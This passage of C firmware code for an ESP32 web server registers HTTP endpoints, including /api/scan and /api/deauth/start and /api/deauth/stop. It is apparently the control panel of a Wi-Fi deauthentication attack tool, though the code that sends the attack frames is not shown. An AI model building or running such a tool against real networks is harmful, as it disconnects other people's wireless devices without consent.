||||
free(json);
|
||||
cJSON_Delete(root);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t reboot_handler(httpd_req_t *req) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\"}");
|
||||
vTaskDelay(pdMS_TO_TICKS(500));
|
||||
esp_restart();
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// URI HANDLERS
|
||||
// ============================================================================
|
||||
static httpd_uri_t uri_root = {.uri = "/", .method = HTTP_GET, .handler = root_handler};
|
||||
static httpd_uri_t uri_scan = {.uri = "/api/scan", .method = HTTP_GET, .handler = scan_handler};
|
||||
static httpd_uri_t uri_deauth_start = {.uri = "/api/deauth/start", .method = HTTP_POST, .handler = deauth_start_handler};
|
||||
static httpd_uri_t uri_deauth_stop = {.uri = "/api/deauth/stop", .method = HTTP_GET, .handler = deauth_stop_handler};
|
||||
static httpd_uri_t uri_sysinfo = {.uri = "/api/system-info", .method = HTTP_GET, .handler = sysinfo_handler};
|
||||
static httpd_uri_t uri_reboot = {.uri = "/api/reboot", .method = HTTP_GET, .handler = reboot_handler};
|
||||
|
||||
static httpd_handle_t server = NULL;
|
||||
|
||||
httpd_handle_t start_webserver(void) {
|
||||
httpd_config_t config = HTTPD_DEFAULT_CONFIG();
|
||||
config.stack_size = 8192;
|
||||
config.max_uri_handlers = 10;
|
||||
|
||||
ESP_LOGI(TAG, "Starting enhanced web server");
|
||||
|
||||
if (httpd_start(&server, &config) == ESP_OK) {
|
||||
httpd_register_uri_handler(server, &uri_root);
|
||||
httpd_register_uri_handler(server, &uri_scan);
|
||||
httpd_register_uri_handler(server, &uri_deauth_start);
|
||||
httpd_register_uri_handler(server, &uri_deauth_stop);
|
||||
httpd_register_uri_handler(server, &uri_sysinfo);
|
||||
httpd_register_uri_handler(server, &uri_reboot);
|
||||
|
||||
ESP_LOGI(TAG, "Enhanced web server started at http://192.168.4.1");
|
||||
return server;
|
||||
}
|
||||
|
||||
ESP_LOGE(TAG, "Failed to start web server");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void stop_webserver(void) {
|
||||
if (server) {
|
||||
httpd_stop(server);
|
||||
server = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void init_web_server(void) {
|
||||
start_webserver();
|
||||
}
|
||||
Reference in New Issue
Block a user